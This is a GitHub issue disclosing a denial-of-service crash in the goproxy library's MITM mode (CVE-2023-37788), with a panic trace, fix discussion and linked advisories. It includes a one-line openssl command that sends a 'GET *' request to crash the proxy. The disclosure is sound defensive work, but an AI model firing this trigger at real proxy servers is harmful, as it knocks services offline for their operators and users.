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goproxy v1.1 was discovered to contain an issue which can lead to Denial of Service (DoS) via unspecified vectors #502

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g0ku704 opened this issue Jun 29, 2023 · 2 comments · Fixed by #507
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goproxy v1.1 was discovered to contain an issue which can lead to Denial of Service (DoS) via unspecified vectors #502

g0ku704 opened this issue Jun 29, 2023 · 2 comments · Fixed by #507

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@g0ku704
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g0ku704 commented Jun 29, 2023 •
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A HTTP request to HTTPS page replaced path the "/" with asterix "*" crashes the elazar/goproxy server in MITM mode.

Vulnerability can be triggered by running this command against elazarl/goproxy in MITM Mode.

echo -e "GET * HTTP/1.1\r\n" | openssl s_client -proxy localhost:8000 -connect "localhost:8000" -ign_eof

Similar to this

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x38 pc=0x6b3260]

goroutine 1287 [running]:
github.com/elazarl/goproxy.(*ProxyHttpServer).handleHttps.func2()
        /go/pkg/mod/github.com/elazarl/goproxy@v0.0.0-20221015165544-a0805db90819/https.go:249 +0xd60
created by github.com/elazarl/goproxy.(*ProxyHttpServer).handleHttps
        /go/pkg/mod/github.com/elazarl/goproxy@v0.0.0-20221015165544-a0805db90819/https.go:211 +0x611

https://github.com/elazarl/goproxy/blob/master/https.go#L249
@g0ku704 g0ku704 mentioned this issue Jul 13, 2023
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@g0ku704 g0ku704 changed the title panic: runtime error: invalid memory address or nil pointer dereference goproxy v1.1 was discovered to contain an issue which can lead to Denial of Service (DoS) via unspecified vectors Jul 18, 2023
@GoVulnBot GoVulnBot mentioned this issue Jul 18, 2023
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jay7x added a commit to jay7x/etc-hosts-proxy that referenced this issue Aug 1, 2023
@jay7x
Bump deps to fix goproxy DoS vulnerability
41712c4 
Links:
- elazarl/goproxy#502
- GHSA-4r8x-2p26-976p
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-37788
@jay7x jay7x mentioned this issue Aug 1, 2023
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@danmanor
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danmanor commented Aug 7, 2023

Is this issue resolved ?

@g0ku704
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g0ku704 commented Aug 9, 2023

Is this issue resolved ?

Yes, I've added a nil check that was causing the crash and merged with the main branch now. But the release package is not updated yet. (#507)

@mixeract mixeract mentioned this issue Aug 10, 2023
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@apcxtest apcxtest mentioned this issue Aug 17, 2023
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@svghadi svghadi mentioned this issue Aug 29, 2023
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@kenjenkins kenjenkins mentioned this issue Sep 6, 2023
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@zeisss zeisss mentioned this issue Oct 17, 2023
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@hoenn hoenn mentioned this issue Feb 12, 2024
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@rgoltz rgoltz mentioned this issue Apr 8, 2024
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@yanmxa yanmxa mentioned this issue Jul 29, 2024
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Added control for the nil request g0ku704/goproxy
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@g0ku704 @danmanor